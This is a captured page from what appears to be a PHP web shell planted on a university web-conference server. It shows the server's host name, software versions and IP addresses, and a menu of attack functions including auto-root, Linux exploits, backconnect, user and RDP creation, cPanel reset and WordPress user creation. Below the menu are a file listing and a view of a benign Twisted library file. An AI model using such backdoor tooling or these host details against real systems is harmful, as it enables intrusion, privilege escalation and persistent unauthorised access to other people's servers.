Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 13.59.116.142
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
python /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
_pydoctortemplates
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
__init__.py
674
B
-rw-r--r--
_appdirs.py
788
B
-rw-r--r--
_inotify.py
3.37
KB
-rw-r--r--
_oldstyle.py
2.53
KB
-rw-r--r--
_release.py
18.11
KB
-rw-r--r--
_setup.py
12.65
KB
-rw-r--r--
_shellcomp.py
24.25
KB
-rw-r--r--
_textattributes.py
8.87
KB
-rw-r--r--
_tzhelper.py
3.12
KB
-rw-r--r--
_url.py
253
B
-rw-r--r--
compat.py
22.65
KB
-rw-r--r--
components.py
13.96
KB
-rw-r--r--
constants.py
544
B
-rw-r--r--
context.py
3.93
KB
-rw-r--r--
deprecate.py
26.15
KB
-rw-r--r--
failure.py
26.01
KB
-rw-r--r--
fakepwd.py
5.99
KB
-rw-r--r--
filepath.py
57.51
KB
-rw-r--r--
formmethod.py
11.19
KB
-rw-r--r--
htmlizer.py
3.46
KB
-rw-r--r--
lockfile.py
7.54
KB
-rw-r--r--
log.py
21.95
KB
-rw-r--r--
logfile.py
9.85
KB
-rw-r--r--
modules.py
26.5
KB
-rw-r--r--
monkey.py
2.17
KB
-rw-r--r--
procutils.py
1.39
KB
-rw-r--r--
randbytes.py
3.87
KB
-rw-r--r--
rebuild.py
9.05
KB
-rw-r--r--
reflect.py
19.02
KB
-rw-r--r--
release.py
1.16
KB
-rw-r--r--
roots.py
7.23
KB
-rw-r--r--
runtime.py
6.12
KB
-rw-r--r--
sendmsg.py
3.34
KB
-rw-r--r--
shortcut.py
2.2
KB
-rw-r--r--
syslog.py
3.64
KB
-rw-r--r--
systemd.py
2.77
KB
-rw-r--r--
text.py
5.35
KB
-rw-r--r--
threadable.py
3.22
KB
-rw-r--r--
threadpool.py
9.61
KB
-rw-r--r--
twisted-completion.zsh
1.34
KB
-rw-r--r--
url.py
244
B
-rw-r--r--
urlpath.py
8.87
KB
-rw-r--r--
usage.py
34.19
KB
-rw-r--r--
util.py
27.28
KB
-rw-r--r--
versions.py
322
B
-rw-r--r--
win32.py
4.22
KB
-rw-r--r--
zippath.py
9.02
KB
-rw-r--r--
zipstream.py
9.53
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _inotify.py
# -*- test-case-name: twisted.internet.test.test_inotify -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Very low-level ctypes-based interface to Linux inotify(7). ctypes and a version of libc which supports inotify system calls are required. """ import ctypes import ctypes.util class INotifyError(Exception): """ Unify all the possible exceptions that can be raised by the INotify API. """ def init(): """ Create an inotify instance and return the associated file descriptor. """ fd = libc.inotify_init() if fd < 0: raise INotifyError("INotify initialization error.") return fd def add(fd, path, mask): """ Add a watch for the given path to the inotify file descriptor, and return the watch descriptor. @param fd: The file descriptor returned by C{libc.inotify_init}. @type fd: L{int} @param path: The path to watch via inotify. @type path: L{twisted.python.filepath.FilePath} @param mask: Bitmask specifying the events that inotify should monitor. @type mask: L{int} """ wd = libc.inotify_add_watch(fd, path.asBytesMode().path, mask) if wd < 0: raise INotifyError("Failed to add watch on '%r' - (%r)" % (path, wd)) return wd def remove(fd, wd): """ Remove the given watch descriptor from the inotify file descriptor. """ # When inotify_rm_watch returns -1 there's an error: # The errno for this call can be either one of the following: # EBADF: fd is not a valid file descriptor. # EINVAL: The watch descriptor wd is not valid; or fd is # not an inotify file descriptor. # # if we can't access the errno here we cannot even raise # an exception and we need to ignore the problem, one of # the most common cases is when you remove a directory from # the filesystem and that directory is observed. When inotify # tries to call inotify_rm_watch with a non existing directory # either of the 2 errors might come up because the files inside # it might have events generated way before they were handled. # Unfortunately only ctypes in Python 2.6 supports accessing errno: # http://bugs.python.org/issue1798 and in order to solve # the problem for previous versions we need to introduce # code that is quite complex: # http://stackoverflow.com/questions/661017/access-to-errno-from-python # # See #4310 for future resolution of this issue. libc.inotify_rm_watch(fd, wd) def initializeModule(libc): """ Initialize the module, checking if the expected APIs exist and setting the argtypes and restype for C{inotify_init}, C{inotify_add_watch}, and C{inotify_rm_watch}. """ for function in ("inotify_add_watch", "inotify_init", "inotify_rm_watch"): if getattr(libc, function, None) is None: raise ImportError("libc6 2.4 or higher needed") libc.inotify_init.argtypes = [] libc.inotify_init.restype = ctypes.c_int libc.inotify_rm_watch.argtypes = [ ctypes.c_int, ctypes.c_int] libc.inotify_rm_watch.restype = ctypes.c_int libc.inotify_add_watch.argtypes = [ ctypes.c_int, ctypes.c_char_p, ctypes.c_uint32] libc.inotify_add_watch.restype = ctypes.c_int name = ctypes.util.find_library('c') if not name: raise ImportError("Can't find C library.") libc = ctypes.cdll.LoadLibrary(name) initializeModule(libc)
Close